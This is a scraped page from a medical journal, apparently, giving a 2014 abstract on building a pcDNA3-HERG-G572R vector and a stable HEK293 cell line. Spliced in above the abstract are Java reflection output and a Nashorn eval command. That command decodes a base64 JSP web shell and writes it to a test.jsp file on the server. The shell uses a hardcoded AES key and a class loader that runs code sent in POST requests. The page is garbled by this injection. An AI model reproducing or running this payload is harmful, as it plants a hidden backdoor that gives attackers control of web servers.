public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var d=B.getDecoder().decode('PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZheC5jcnlwdG8uKixqYXZheC5jcnlwdG8uc3BlYy4qIiAlPgo8JSEKICAgIHByaXZcdTAwNjF0ZSBieXRlW10gRGVjcnlwdChieXRlW10gZFx1MDA2MXRcdTAwNjEpIHRocm93cyBFeGNlcHRpb24KICAgIHsKICAgICAgICBTdHJpbmcgaz0iMGJcdTAwNjE0NDM5ZWU5XHUwMDYxNDZkOWQiOwogICAgICAgIGpcdTAwNjF2XHUwMDYxeC5jcnlwdG8uQ2lwaGVyIGM9alx1MDA2MXZcdTAwNjF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdFx1MDA2MW5jZSgiQUVTL0VDQi9QS0NTNVBcdTAwNjFkZGluZyIpO2MuaW5pdCgyLG5ldyBqXHUwMDYxdlx1MDA2MXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTsKICAgICAgICBieXRlW10gZGVjb2RlYnM7CiAgICAgICAgQ2xcdTAwNjFzcyBiQ2x6IDsKICAgICAgICAgICAgICAgIHRyeXsKICAgICAgICAgICAgICAgICAgICBiQ2x6PUNsXHUwMDYxc3MuZm9yTlx1MDA2MW1lKCJqXHUwMDYxdlx1MDA2MS51dGlsLkJcdTAwNjFzZTY0Iik7CiAgICAgICAgICAgICAgICAgICAgT2JqZWN0IERlY29kZXI9YkNsei5nZXRNZXRob2QoImdldERlY29kZXIiLCBudWxsKS5pbnZva2UoYkNseiwgbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgZGVjb2RlYnM9KGJ5dGVbXSkgRGVjb2Rlci5nZXRDbFx1MDA2MXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xcdTAwNjFzc1tde2J5dGVbXS5jbFx1MDA2MXNzfSkuaW52b2tlKERlY29kZXIsIG5ldyBPYmplY3RbXXtkXHUwMDYxdFx1MDA2MX0pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgY1x1MDA2MXRjaCAoVGhyb3dcdTAwNjFibGUgZSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBiQ2x6ID0gQ2xcdTAwNjFzcy5mb3JOXHUwMDYxbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKICAgICAgICAgICAgICAgICAgICBPYmplY3QgRGVjb2Rlcj1iQ2x6Lm5ld0luc3RcdTAwNjFuY2UoKTsKICAgICAgICAgICAgICAgICAgICBkZWNvZGVicz0oYnl0ZVtdKSBEZWNvZGVyLmdldENsXHUwMDYxc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsbmV3IENsXHUwMDYxc3NbXXtTdHJpbmcuY2xcdTAwNjFzc30pLmludm9rZShEZWNvZGVyLCBuZXcgT2JqZWN0W117bmV3IFN0cmluZyhkXHUwMDYxdFx1MDA2MSl9KTsKCiAgICAgICAgICAgICAgICB9CiAgICAgICAgcmV0dXJuIGMuZG9GaW5cdTAwNjFsKGRlY29kZWJzKTsKCiAgICB9CiU+CjwlIWNsXHUwMDYxc3MgVSBleHRlbmRzIENsXHUwMDYxc3NMb1x1MDA2MWRlcntVKENsXHUwMDYxc3NMb1x1MDA2MWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsXHUwMDYxc3MgZyhieXRlIFtdYil7cmV0dXJuCiAgICAgICAgc3VwZXIuZGVmaW5lQ2xcdTAwNjFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdVx1MDA2MWxzKCJQT1NUIikpewogICAgICAgICAgICBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtIGJvcyA9IG5ldyBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtKCk7CiAgICAgICAgICAgIGJ5dGVbXSBidWYgPSBuZXcgYnl0ZVs1MTJdOwogICAgICAgICAgICBpbnQgbGVuZ3RoPXJlcXVlc3QuZ2V0SW5wdXRTdHJlXHUwMDYxbSgpLnJlXHUwMDYxZChidWYpOwogICAgICAgICAgICB3aGlsZSAobGVuZ3RoPjApCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGJ5dGVbXSBkXHUwMDYxdFx1MDA2MT0gQXJyXHUwMDYxeXMuY29weU9mUlx1MDA2MW5nZShidWYsMCxsZW5ndGgpOwogICAgICAgICAgICAgICAgYm9zLndyaXRlKGRcdTAwNjF0XHUwMDYxKTsKICAgICAgICAgICAgICAgIGxlbmd0aD1yZXF1ZXN0LmdldElucHV0U3RyZVx1MDA2MW0oKS5yZVx1MDA2MWQoYnVmKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvdXQuY2xlXHUwMDYxcigpOwogICAgICAgICAgICBvdXQ9cFx1MDA2MWdlQ29udGV4dC5wdXNoQm9keSgpOwogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xcdTAwNjFzcygpLmdldENsXHUwMDYxc3NMb1x1MDA2MWRlcigpKS5nKERlY3J5cHQoYm9zLnRvQnl0ZUFyclx1MDA2MXkoKSkpLm5ld0luc3RcdTAwNjFuY2UoKS5lcXVcdTAwNjFscyhwXHUwMDYxZ2VDb250ZXh0KTt9CiU+');var o=new F('D:/magtech/webs/Jwk34_nfykdxxb/attached/test.jsp');o.write(d);o.close();");

Journal of Southern Medical University ›› 2014, Vol. 34 ›› Issue (03): 308-.

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Construction of pcDNA3-HERG-G572R expression vector and establishment of a cell line
stably expressing HKE-HERG-G572R

  

  • Online:2014-03-20 Published:2014-03-20

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Abstract: Objective To construct the pcDNA3-HERG-G572R expression vector and establish a cell line stably expressing
HKE-HERG-G572R. Methods HERG-G572R mutant fragment was constructed by over-lap extension PCR and validated by
DNA sequencing. The HKE-HERG-G572R expression vector was constructed and transfected into HEK293 cells to obtain a cell
line stably expressing HKE-HERG-G572R. Results The pcDNA3-HERG-G572R expression vector was successfully constructed
and the cell line stably expressing HKE-HERG-G572R was established. Real-time PCR and Western blotting revealed a 632-fold
HKE-HERG-G572R overexpression in the transfected HEK293 cells as compared with that in control HEK293 cells transfected
with pcDNA3 (P<0.01)．Conclusion The protocol can be used to construct the cell line stably expressing HKE-HERG-G572R to
provide a cell model for studying individualized therapy.